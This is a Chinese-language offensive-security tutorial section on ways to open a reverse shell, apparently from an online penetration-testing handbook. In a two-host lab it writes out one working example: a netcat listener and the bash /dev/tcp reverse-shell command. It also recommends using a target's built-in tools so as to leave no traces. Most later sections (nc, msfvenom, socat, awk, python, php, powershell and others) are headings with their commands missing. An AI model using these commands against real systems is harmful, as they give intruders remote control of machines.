4.2 反弹shell的N种姿势
前言
很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿……其实,我一直都建议,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我们弹回一个简单的可交互shell, 有shell,’夫何求’, 没错,你肯定会说,不就一个shell嘛,我直接用 coablt strike & msf 岂不更好,嘿嘿……其实,这里并不存在争论的点,不错,它俩确实挺好,不过,恶劣的环境总是有的,有时想把它俩用上确实比较费劲,好了,前戏就到此为止吧,下面我们就直奔主题……
实验环境:
主机A:10.1.1.100 主机B:10.1.1.101
bash
在主机A使用nc监听 ,命令:nc -lvvp 123
在主机B上使用bash直接反弹,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1
此时主机A收到shell了

下面来解释一下这一条反弹shell的命令首先,bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。
方法2
方法3

与上一个完全相同
nc
攻击机上执行
靶机执行

没有-e选项时:
或者
msfvenom
搜索相关payload
里面自习选择即可,这里以python的为例
命令:

然后主机A上启动nc进行监听
切换到主机B,在终端输入msfvenom给出的payload

执行即可反弹shell
sshd
目标机器执行
攻击机执行

socat版
攻击机执行:
awk
目标机执行
攻击机nc监听即可
telnet
第一种


第二种
各类语言
perl
python
crontab
php
ruby
lua
协议
icmp
udp
powershell
基础链接
Last updated
Was this helpful?